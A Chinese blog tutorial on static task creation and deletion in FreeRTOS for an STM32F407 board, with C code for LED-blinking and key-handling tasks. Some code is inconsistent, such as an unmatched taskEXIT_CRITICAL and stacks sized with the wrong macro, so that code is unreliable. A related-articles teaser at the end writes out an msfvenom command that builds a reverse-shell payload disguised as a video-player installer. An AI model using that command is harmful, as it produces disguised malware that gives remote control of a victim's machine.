【FreeRTOS】FreeRTOS 静态创建任务与删除

news2024/11/15 0:11:22

0. 实验准备

正点原子 STM32407ZG 探索者开发板
FreeRTOS 例程模板(可以在这一篇文章找到:STM32F407 移植 FreeRTOS)

1. 静态创建任务函数 API

1.1 函数简介

动态创建任务需要使用到BaseType_t xTaskCreate函数,我们可以在 FreeRTOS 官网中查看此函数详细的文档,点击此处跳转
在这里插入图片描述
根据上方的描述我们可以得知,此函数将会创建一个新任务,并将其添加到就绪任务列表中。在 FreeRTOSConfig.h 中,configSUPPORT_STATIC_ALLOCATION 必须设置为 1,或者不定义(在这种情况下,它将默认为 1 ),以便此函数可以使用。
每个任务都需要用于保存任务状态的 RAM ,并被任务用作其堆栈。如果使用 xTaskCreate() 创建任务,则从 FreeRTOS 堆中自动分配所需的 RAM 。如果使用 xTaskCreateStatic() 创建任务,则 RAM 由应用程序编写者提供,因此可以在编译时静态分配。

1.2 入参详解

同样是在官方文档的下面可以查看到下图的文字

在这里插入图片描述

  • pxTaskCode:
  • pcName:
  • ulStackDepth:
  • pvParameters:
  • uxPriority:
  • puxStackBuffer:
  • pxTaskBuffer:

1.3 返回值

在这里插入图片描述
如果 puxStackBufferpxTaskBuffer 都不是 NULL,那么任务将被创建,并返回任务句柄。如果 puxStackBufferpxTaskBuffer 为NULL,则任务将不会被创建并返回 NULL。

2. 静态创建任务步骤

根据上面的描述,结合实际的代码需要,使用动态创建任务的步骤有以下几步:

  1. 将宏 configSUPPORT_STATIC_ALLOCATION 配置为 1
  2. 定义空闲任务&定时器任务的任务堆栈及 TCB
  3. 实现两个接口函数:vApplicationGetIdleTaskMemory( )vApplicationGetTimerTaskMemory ( )——因为我们配置了configSUPPORT_STATIC_ALLOCATION 为1,系统不再使用动态方式管理内存,因此需要用户提供用于提供空闲任务和软件定时器服务任务(如果启用了软件定时器)内存的两个回调函数
  4. 定义函数入口参数
  5. 编写任务函数

3. 删除任务函数 API

3.1 函数简介

在这里插入图片描述
根据上方的描述我们可以得知,INCLUDE_vTaskDelete 必须定义为1才能使用此函数。此函数可以从 RTOS 内核管理中删除一个任务。被删除的任务将从所有就绪、阻塞、挂起和事件列表中删除。

注意:空闲任务负责从已删除的任务中释放 RTOS 内核分配的内存。因此,如果您的应用程序调用 vTaskDelete(),那么空闲任务需要处理器的时间是很重要的。由任务代码分配的内存不会自动释放,应该在删除任务之前释放。

3.2 入参详解

在这里插入图片描述

  • xTask:要删除的任务句柄。传递NULL将导致调用任务(自身)被删除。

4. 编程实战

4.1 实验设计

实现如下的功能:

  • 设计四个任务:start_task、task1、task2、task3
  • start_task:用来创建其他的三个任务
  • task1:实现 LED0 每 500ms 闪烁一次
  • task2:实现 LED1 每 500ms 闪烁一次
  • task3:判断按键 KEY0 是否按下,按下则删掉 task1

4.2 编写代码

首先打开我们的 FreeRTOS 例程模板(在文章顶部的实验准备中可以找到),打开 FREERTOS_config.h ,找到 configSUPPORT_STATIC_ALLOCATION 配置为 1 ,如下图所示

在这里插入图片描述
然后打开 freertos_demo.c ,如下图所示

在这里插入图片描述
此时的freertos_demo.c 是测试 FreeRTOS 是否移植成功的代码,这里全部进行删除,替换为如下的代码,然后从头开始编写创建任务的代码

#include "freertos_demo.h"
#include "./SYSTEM/usart/usart.h"
#include "./BSP/LED/led.h"
#include "./BSP/LCD/lcd.h"
/*FreeRTOS*********************************************************************************************/
#include "FreeRTOS.h"
#include "task.h"

/******************************************************************************************************/
/*FreeRTOS配置*/


/******************************************************************************************************/

/**
 * @brief       FreeRTOS例程入口函数
 * @param       无
 * @retval      无
 */
void freertos_demo(void)
{
    vTaskStartScheduler();                              /* 开启任务调度器 */
}

其中 freertos_demo 会在主函数中进行调用,这里进行保留

4.1.2 两个回调函数的编写

我们在 freertos_demo.c 文件中编写这两个回调函数,具体代码如下所示

/* 空闲任务任务堆栈 */
static StackType_t IdleTaskStack[configMINIMAL_STACK_SIZE];

/* 空闲任务控制块 */ 
static StaticTask_t IdleTaskTCB; 

/* 定时器服务任务堆栈 */ 
static StackType_t TimerTaskStack[configTIMER_TASK_STACK_DEPTH]; 

/* 定时器服务任务控制块 */ 
static StaticTask_t TimerTaskTCB; 

/** 
* @brief 获取空闲任务地任务堆栈和任务控制块内存,因为本例程使用的静态内存,因此空闲任务的任务堆栈和任务控制块的内存就由用户提供,FreeRTOS提供了接口函数vApplicationGetIdleTaskMemory()实现此函数即可。
* @param ppxIdleTaskTCBBuffer:任务控制块内存
         ppxIdleTaskStackBuffer:任务堆栈内存
         pulIdleTaskStackSize:任务堆栈大小
* @retval 无 
*/ 
void vApplicationGetIdleTaskMemory(StaticTask_t **ppxIdleTaskTCBBuffer, StackType_t **ppxIdleTaskStackBuffer, uint32_t *pulIdleTaskStackSize) 
{ 
    *ppxIdleTaskTCBBuffer = &IdleTaskTCB;
    *ppxIdleTaskStackBuffer = IdleTaskStack; 
    *pulIdleTaskStackSize = configMINIMAL_STACK_SIZE; 
} 
/**
* @brief 获取定时器服务任务的任务堆栈和任务控制块内存
* @param ppxTimerTaskTCBBuffer:任务控制块内存
         ppxTimerTaskStackBuffer:任务堆栈内存
         pulTimerTaskStackSize:任务堆栈大小
* @retval 无 
*/ 
void vApplicationGetTimerTaskMemory(StaticTask_t **ppxTimerTaskTCBBuffer, StackType_t **ppxTimerTaskStackBuffer, uint32_t *pulTimerTaskStackSize) 
{ 
    *ppxTimerTaskTCBBuffer = &TimerTaskTCB;
    *ppxTimerTaskStackBuffer = TimerTaskStack;
    *pulTimerTaskStackSize = configTIMER_TASK_STACK_DEPTH; 
}

4.2.2 start_task 的静态创建任务的编写

我们可以从官网获取到 xTaskCreateStatic 的模板,也可以根据官网的描述在 task. h 中获取到 xTaskCreateStatic 的函数原型。下面是xTaskCreateStatic 的函数原型

 TaskHandle_t xTaskCreateStatic( TaskFunction_t pxTaskCode,
                                 const char * const pcName,
                                 const uint32_t ulStackDepth,
                                 void * const pvParameters,
                                 UBaseType_t uxPriority,
                                 StackType_t * const puxStackBuffer,
                                 StaticTask_t * const pxTaskBuffer );
  1. TaskFunction_t pvTaskCode 是任务函数,这里是需要我们执行的任务函数的代码,所以我们可以在代码开始的部分对任务函数进行声明,如下所示
void start_task(void *pvParameters);        /* 任务函数 */
  1. const char * const pcName 是任务名字,这里和任务函数的名字保持一致即也是 "start_task"
  2. const uint32_t ulStackDepth 是任务堆栈大小,这里我们可以参考官方的方式也定义一个宏定义,后续可以通过修改宏定义的方式来更改堆栈大小,方便维护
#define START_STK_SIZE  128                 /* 任务堆栈大小 */
  1. void *pvParameters 是函数传参,这里暂时没有于是写 NULL
  2. UBaseType_t uxPriority 是任务优先级,数值越大优先级越靠前,这里也使用宏定义的方式,然后将 start_task 的优先级设置为 1,即最低优先级
#define START_TASK_PRIO 1                   /* 任务优先级 */
  1. StackType_t * const puxStackBuffer 是用于指定该任务的堆栈地址
  2. StaticTask_t * const pxTaskBuffer 是任务控制块,需要我们在开头定义一个 TaskHandle_t 类型的控制块作为参数传入
TaskHandle_t            StartTaskTCB;  /* 任务控制块 */
  1. 然后在 freertos_demo 中调用,完整的代码如下所示
#define START_TASK_PRIO 1                   /* 任务优先级 */
#define START_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t StartTaskStack[configTIMER_TASK_STACK_DEPTH]; 
TaskHandle_t            StartTask_Handler;  /* 任务句柄 */
StaticTask_t            StartTaskTCB;       /* 任务控制块 */
void start_task(void *pvParameters);        /* 任务函数 */

void freertos_demo(void)
{
    StartTask_Handler = xTaskCreateStatic((TaskFunction_t )start_task,             /* 任务函数 */
                                         (const char*     )"start_task",           /* 任务名称 */
                                         (uint32_t        )START_STK_SIZE,         /* 任务堆栈大小 */
                                         (void*           )NULL,                   /* 传入给任务函数的参数 */
                                         (UBaseType_t     )START_TASK_PRIO,        /* 任务优先级 */
                                         (StackType_t*    )StartTaskStack,         /* 任务堆栈 */
                                         (StaticTask_t*   )&StartTaskTCB);         /* 任务控制块 */
    vTaskStartScheduler();                                                         /* 开启任务调度器 */
}

4.2.3 start_task 的任务编写

start_task 任务的使命是创建 task1、task2、task3 这三个任务,而创建 task1、task2、task3 这三个任务和创建 start_task 的方式一模一样。由于我们只希望 start_task 里的代码执行一次,所以希望他执行后销毁掉自己的任务,所以在 start_task 函数的末尾增加下面的代码来删除掉自己。

vTaskDelete(StartTask_Handler); /* 删除开始任务 */

分别设置 task1-3 的任务优先级为 2-4 ,堆栈大小都为 128,有了 start_task 任务的创建经验,如法炮制的在 start_task 函数中编写出以下的代码,

/* TASK1 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK1_PRIO      2                   /* 任务优先级 */
#define TASK1_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task1Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task1Task_Handler;  /* 任务句柄 */
StaticTask_t            Task1TCB;           /* 任务控制块 */
void task1(void *pvParameters);             /* 任务函数 */

/* TASK2 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK2_PRIO      3                   /* 任务优先级 */
#define TASK2_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task2Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task2Task_Handler;  /* 任务句柄 */
StaticTask_t            Task2TCB;           /* 任务控制块 */
void task2(void *pvParameters);             /* 任务函数 */

/* TASK3 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK3_PRIO      4                   /* 任务优先级 */
#define TASK3_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task3Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task3Task_Handler;  /* 任务句柄 */
StaticTask_t            Task3TCB;           /* 任务控制块 */
void task3(void *pvParameters);             /* 任务函数 */

/**
 * @brief       start_task
 * @param       pvParameters : 传入参数(未用到)
 * @retval      无
 */
void start_task(void *pvParameters)
{
    taskENTER_CRITICAL();           /* 进入临界区 */
    /* 创建任务1 */
    Task1Task_Handler = xTaskCreateStatic((TaskFunction_t )task1,
                                         (const char*     )"task1",
                                         (uint16_t        )TASK1_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK1_PRIO,
                                         (StackType_t*    )Task1Stack,
                                         (StaticTask_t*   )&Task1TCB);
    /* 创建任务2 */
    Task2Task_Handler = xTaskCreateStatic((TaskFunction_t )task2,
                                         (const char*     )"task2",
                                         (uint16_t        )TASK2_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK2_PRIO,
                                         (StackType_t*    )Task2Stack,
                                         (StaticTask_t*   )&Task2TCB);
    /* 创建任务3 */
    Task3Task_Handler = xTaskCreateStatic((TaskFunction_t )task3,
                                         (const char*    )"task3",
                                         (uint16_t       )TASK3_STK_SIZE,
                                         (void*          )NULL,
                                         (UBaseType_t    )TASK3_PRIO,
                                         (StackType_t*    )Task3Stack,
                                         (StaticTask_t*   )&Task3TCB);
    vTaskDelete(StartTask_Handler); /* 删除开始任务*/
    taskEXIT_CRITICAL();            /* 退出临界区 */
}

4.2.4 task1、task2、task3 的任务编写

task1/2 的任务为 500ms 翻转一次 LED0/1,需要注意的是,在这里不能调用普通的延时函数,需要使用 FreeRTOS 提供的延时函数 vTaskDelay(后续会讲解) 来实现延时功能。下面是具体的代码(加入了串口打印的部分,后面会用于查看任务执行顺序)

/* 任务一,实现LED0每500ms翻转一次 */
void task1( void * pvParameters )
{
    while(1)
    {
        printf("task1正在运行!!!\r\n");
        LED0_TOGGLE();
        vTaskDelay(500);
    }
}

/* 任务二,实现LED1每500ms翻转一次 */
void task2( void * pvParameters )
{
    while(1)
    {
        printf("task2正在运行!!!\r\n");
        LED1_TOGGLE();
        vTaskDelay(500);
    }
}

task3 的任务需要使用到按键,按键的头文件需要在开头导入一下,由于按下按键我们希望删除 task1 ,但是如果当 task1 已经被删除了,再次按下按键就会出现不可预估的后果,所以在删除 task1 前,我们先对他的句柄进行一个非空判断,在删除 task1 后,将 task1 的句柄设置为空。编写的代码如下所示

#include "./BSP/KEY/key.h"

/* 任务三,判断按键KEY0,按下KEY0删除task1 */
void task3( void * pvParameters )
{
    uint8_t key = 0;
    while(1)
    {
        printf("task3正在运行!!!\r\n");
        key = key_scan(0);
        if(key == KEY0_PRES)
        {
            if(Task1Task_Handler != NULL)
            {
                printf("删除task1任务\r\n");
                vTaskDelete(Task1Task_Handler);
                Task1Task_Handler = NULL;
            }
        }
        vTaskDelay(10);
    }
}

至此,全部的代码已经编写完毕,完整的 freertos_demo.c 代码如下所示

#include "freertos_demo.h"
#include "./SYSTEM/usart/usart.h"
#include "./BSP/LED/led.h"
#include "./BSP/LCD/lcd.h"
#include "./BSP/KEY/key.h"
/*FreeRTOS*********************************************************************************************/
#include "FreeRTOS.h"
#include "task.h"

/******************************************************************************************************/
/*FreeRTOS配置*/

/* START_TASK 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define START_TASK_PRIO 1                   /* 任务优先级 */
#define START_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t StartTaskStack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            StartTask_Handler;  /* 任务句柄 */
StaticTask_t            StartTaskTCB;       /* 任务控制块 */
void start_task(void *pvParameters);        /* 任务函数 */

/* TASK1 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK1_PRIO      2                   /* 任务优先级 */
#define TASK1_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task1Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task1Task_Handler;  /* 任务句柄 */
StaticTask_t            Task1TCB;           /* 任务控制块 */
void task1(void *pvParameters);             /* 任务函数 */

/* TASK2 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK2_PRIO      3                   /* 任务优先级 */
#define TASK2_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task2Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task2Task_Handler;  /* 任务句柄 */
StaticTask_t            Task2TCB;           /* 任务控制块 */
void task2(void *pvParameters);             /* 任务函数 */

/* TASK3 任务 配置
 * 包括: 任务句柄 任务优先级 堆栈大小 创建任务
 */
#define TASK3_PRIO      4                   /* 任务优先级 */
#define TASK3_STK_SIZE  128                 /* 任务堆栈大小 */
static StackType_t Task3Stack[configTIMER_TASK_STACK_DEPTH];
TaskHandle_t            Task3Task_Handler;  /* 任务句柄 */
StaticTask_t            Task3TCB;           /* 任务控制块 */
void task3(void *pvParameters);             /* 任务函数 */

/* 空闲任务任务堆栈 */
static StackType_t IdleTaskStack[configMINIMAL_STACK_SIZE];

/* 空闲任务控制块 */ 
static StaticTask_t IdleTaskTCB; 

/* 定时器服务任务堆栈 */ 
static StackType_t TimerTaskStack[configTIMER_TASK_STACK_DEPTH]; 

/* 定时器服务任务控制块 */ 
static StaticTask_t TimerTaskTCB; 

/** 
* @brief 获取空闲任务地任务堆栈和任务控制块内存,因为本例程使用的静态内存,因此空闲任务的任务堆栈和任务控制块的内存就由用户提供,FreeRTOS提供了接口函数vApplicationGetIdleTaskMemory()实现此函数即可。
* @param ppxIdleTaskTCBBuffer:任务控制块内存
         ppxIdleTaskStackBuffer:任务堆栈内存
         pulIdleTaskStackSize:任务堆栈大小
* @retval 无 
*/ 
void vApplicationGetIdleTaskMemory(StaticTask_t **ppxIdleTaskTCBBuffer, StackType_t **ppxIdleTaskStackBuffer, uint32_t *pulIdleTaskStackSize) 
{ 
    *ppxIdleTaskTCBBuffer = &IdleTaskTCB;
    *ppxIdleTaskStackBuffer = IdleTaskStack; 
    *pulIdleTaskStackSize = configMINIMAL_STACK_SIZE; 
} 
/**
* @brief 获取定时器服务任务的任务堆栈和任务控制块内存
* @param ppxTimerTaskTCBBuffer:任务控制块内存
         ppxTimerTaskStackBuffer:任务堆栈内存
         pulTimerTaskStackSize:任务堆栈大小
* @retval 无 
*/ 
void vApplicationGetTimerTaskMemory(StaticTask_t **ppxTimerTaskTCBBuffer, StackType_t **ppxTimerTaskStackBuffer, uint32_t *pulTimerTaskStackSize) 
{ 
    *ppxTimerTaskTCBBuffer = &TimerTaskTCB;
    *ppxTimerTaskStackBuffer = TimerTaskStack;
    *pulTimerTaskStackSize = configTIMER_TASK_STACK_DEPTH; 
}
/******************************************************************************************************/

/**
 * @brief       FreeRTOS例程入口函数
 * @param       无
 * @retval      无
 */
void freertos_demo(void)
{
    StartTask_Handler = xTaskCreateStatic((TaskFunction_t )start_task,             /* 任务函数 */
                                         (const char*     )"start_task",           /* 任务名称 */
                                         (uint32_t        )START_STK_SIZE,         /* 任务堆栈大小 */
                                         (void*           )NULL,                   /* 传入给任务函数的参数 */
                                         (UBaseType_t     )START_TASK_PRIO,        /* 任务优先级 */
                                         (StackType_t*    )StartTaskStack,         /* 任务堆栈 */
                                         (StaticTask_t*   )&StartTaskTCB);         /* 任务控制块 */
    vTaskStartScheduler();                                                         /* 开启任务调度器 */
}

/**
 * @brief       start_task
 * @param       pvParameters : 传入参数(未用到)
 * @retval      无
 */
void start_task(void *pvParameters)
{
    /* 创建任务1 */
    Task1Task_Handler = xTaskCreateStatic((TaskFunction_t )task1,
                                         (const char*     )"task1",
                                         (uint16_t        )TASK1_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK1_PRIO,
                                         (StackType_t*    )Task1Stack,
                                         (StaticTask_t*   )&Task1TCB);
    /* 创建任务2 */
    Task2Task_Handler = xTaskCreateStatic((TaskFunction_t )task2,
                                         (const char*     )"task2",
                                         (uint16_t        )TASK2_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK2_PRIO,
                                         (StackType_t*    )Task2Stack,
                                         (StaticTask_t*   )&Task2TCB);
    /* 创建任务3 */
    Task3Task_Handler = xTaskCreateStatic((TaskFunction_t )task3,
                                         (const char*    )"task3",
                                         (uint16_t       )TASK3_STK_SIZE,
                                         (void*          )NULL,
                                         (UBaseType_t    )TASK3_PRIO,
                                         (StackType_t*    )Task3Stack,
                                         (StaticTask_t*   )&Task3TCB);
    taskEXIT_CRITICAL();            /* 退出临界区 */
}

/* 任务一,实现LED0每500ms翻转一次 */
void task1( void * pvParameters )
{
    while(1)
    {
        printf("task1正在运行!!!\r\n");
        LED0_TOGGLE();
        vTaskDelay(500);
    }
}

/* 任务二,实现LED1每500ms翻转一次 */
void task2( void * pvParameters )
{
    while(1)
    {
        printf("task2正在运行!!!\r\n");
        LED1_TOGGLE();
        vTaskDelay(500);
    }
}

/* 任务三,判断按键KEY0,按下KEY0删除task1 */
void task3( void * pvParameters )
{
    uint8_t key = 0;
    while(1)
    {
        printf("task3正在运行!!!\r\n");
        key = key_scan(0);
        if(key == KEY0_PRES)
        {
            if(Task1Task_Handler != NULL)
            {
                printf("删除task1任务\r\n");
                vTaskDelete(Task1Task_Handler);
                Task1Task_Handler = NULL;
            }
        }
        vTaskDelay(10);
    }
}

4.2.4 验证

下载编译完成后的代码到开发板上,可以看到 LED0 和 1 以同样的频率进行闪烁,按下 KEY0 后 LED0 停止闪烁,和预计效果一致。将开发板的串口连接到电脑上,连接到串口,重新开机查看串口打印的信息,注意任务的执行顺序,如下图所示
在这里插入图片描述
可以看到先执行了 task1 先执行了,然后是 task2 和 task3,这与我们设置的优先级的顺序并不一致,这是因为在下图的函数中,打开了任务调度器,任务调度器会在就绪列表中选择任务执行,而在 start_task 函数中,我们依次创建了 task1、2、3 ,在刚创建完成 task1 时,task1 就被放入到了就绪列表(这里在上面的动态创建函数地方有讲解到),立马就被调度了,所以 task1 虽然优先级最低但是最先被执行了
在这里插入图片描述

如果我们想要在创建任务的时候不被打断(这里是希望不要被调度),可以在创建任务之前添加如下的代码

taskENTER_CRITICAL();           /* 进入临界区 */

在创建任务之后添加如下的代码

taskEXIT_CRITICAL();            /* 退出临界区 */

上面的两行代码的作用可以理解为,在这两行代码之间的操作不希望被打断,是可以被连续执行的,添加完成这两行代码后,代码执行的逻辑就应该为:
进入临界区,创建 task1 进入就绪队列,创建 task2 进入就绪队列,创建 task3 进入就绪队列,退出临界区,开始任务调度—选择优先级最高的任务也就是 task3 进入运行

4.2.5 修改代码

根据上面一小节的逻辑,我们砸 start_task 函数中进行修改。修改完成后的代码如下所示

void start_task(void *pvParameters)
{
    taskENTER_CRITICAL();           /* 进入临界区 */
    /* 创建任务1 */
    Task1Task_Handler = xTaskCreateStatic((TaskFunction_t )task1,
                                         (const char*     )"task1",
                                         (uint16_t        )TASK1_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK1_PRIO,
                                         (StackType_t*    )Task1Stack,
                                         (StaticTask_t*   )&Task1TCB);
    /* 创建任务2 */
    Task2Task_Handler = xTaskCreateStatic((TaskFunction_t )task2,
                                         (const char*     )"task2",
                                         (uint16_t        )TASK2_STK_SIZE,
                                         (void*           )NULL,
                                         (UBaseType_t     )TASK2_PRIO,
                                         (StackType_t*    )Task2Stack,
                                         (StaticTask_t*   )&Task2TCB);
    /* 创建任务3 */
    Task3Task_Handler = xTaskCreateStatic((TaskFunction_t )task3,
                                         (const char*    )"task3",
                                         (uint16_t       )TASK3_STK_SIZE,
                                         (void*          )NULL,
                                         (UBaseType_t    )TASK3_PRIO,
                                         (StackType_t*    )Task3Stack,
                                         (StaticTask_t*   )&Task3TCB);
    vTaskDelete(StartTask_Handler); /* 删除开始任务*/
    taskEXIT_CRITICAL();            /* 退出临界区 */
}

4.2.6 再次验证

把修改后的代码再次烧录进开发板,然后查看任务执行顺序,发现按照我们设定的优先级顺序进行执行了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693203.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正,如果觉得对你有用,请点三连一波,蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用? 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一,前言二,具体步骤1.软件下载2.环境配置 三,基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一,前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么??? 天天都能听到Spring,Spring,Spring。这东西到底是什么东西,是一个框架。没错通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3,其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验,使他们能够与智能模型进行即时对话和交互,从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…

【C++】定制删除器和特殊类设计(饿汉和懒汉~)

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…

chatGPT AI对话聊天绘画系统开发:打开人工智能AI社交聊天系统开发新时代

人工智能技术的快速发展和普及&#xff0c;催生了众多创新应用&#xff0c;其中&#xff0c;AI社交聊天系统成为当下市场的热门话题&#xff0c;本文将详细介绍开发属于自己的ChatGPT的过程&#xff0c;并探讨当下市场因Chat AI聊天系统所带来的影响性。 AI社交聊天系统的潜力与…

Springboot Mybatis 自定义顺序排序查询,指定某个字段

前言 与本文无关 "我进去了" ....... 正文 今天要讲些什么&#xff1f; 其实很简单&#xff0c;就是查询数据的时候&#xff0c;想根据自己指定的字段的自定义顺序&#xff0c;做排序查询数据。 本篇文章会讲到的几个点 &#xff1a; 1. 单纯sql 怎么实现 排序2. …

miniconda 安装 windows+linux

虽然常用anaconda&#xff0c;但是有时候只需要管理环境的时候&#xff0c;用miniconda更方便 如果想安装anaconda&#xff0c;可以参考这篇&#xff1a;anaconda安装 一、linux下 1.下载 链接&#xff1a;miniconda文档 cd /usr/localwget https://repo.anaconda.com/mini…

分布式处理框架 MapReduce

3.2.1 什么是MapReduce 源于Google的MapReduce论文(2004年12月)Hadoop的MapReduce是Google论文的开源实现MapReduce优点: 海量数据离线处理&易开发MapReduce缺点: 实时流式计算 3.2.2 MapReduce编程模型 MapReduce分而治之的思想 数钱实例&#xff1a;一堆钞票&#xff0…

Inno Setup 安装包制作软件

推荐一个开源的安装包制作软件&#xff1a;Inno Setup   Inno Setup是一个免费的安装制作软件&#xff0c;小巧、简便、精美是其最大特点&#xff0c;支持pascal脚本&#xff0c;能快速制作出标准Windows2000风格的安装界面&#xff0c;足以完成一般安装任务。 下载地址&…